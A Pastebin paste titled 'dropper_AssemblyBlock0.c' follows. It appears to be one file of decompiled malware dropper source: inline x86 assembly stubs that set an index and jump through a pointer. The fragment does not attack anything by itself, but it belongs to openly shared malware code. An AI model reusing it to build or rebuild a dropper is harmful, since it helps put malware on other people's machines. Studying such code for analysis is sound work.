Advertisement
FlyFar

dropper_AssemblyBlock0.c

Feb 19th, 2023
446
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.95 KB | Cybersecurity | 0 0
  1. #include "7. AssemblyBlock0.h"
  2.  
  3. /*************************************************************************
  4. ** ASSEMBLY BLOCK 0.                                                    **
  5. *************************************************************************/
  6.  
  7. void __declspec(naked) __ASM_BLOCK0_0(void)
  8. {
  9.     __asm
  10.     {
  11.         cmp     edx, [eax]
  12.         dec     ecx
  13.         stosd
  14.  
  15.         mov     dl, 0
  16.         jmp     short __ASM_REF_0
  17.        
  18.         mov     dl, 1
  19.         jmp     short __ASM_REF_0
  20.        
  21.         mov     dl, 2
  22.         jmp     short __ASM_REF_0
  23.        
  24.         mov     dl, 3
  25.         jmp     short __ASM_REF_0
  26.        
  27.         mov     dl, 4
  28.         jmp     short __ASM_REF_0
  29.        
  30.         mov     dl, 5
  31.         jmp     short $+2
  32.        
  33.     __ASM_REF_0:
  34.         push    edx
  35.         call    __ASM_BLOCK0_2
  36.     }
  37. }
  38.  
  39. // it is a pointer
  40. void __declspec(naked) __ASM_BLOCK0_1(void)
  41. {
  42.     __asm
  43.     {
  44.         xchg    ebx, [ebx+0]
  45.         add     [eax], dl
  46.     }
  47. }
  48.  
  49. void __declspec(naked) __ASM_BLOCK0_2(void)
  50. {
  51.     __asm
  52.     {
  53.         pop     edx
  54.         jmp     dword ptr [edx]
  55.     }
  56. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement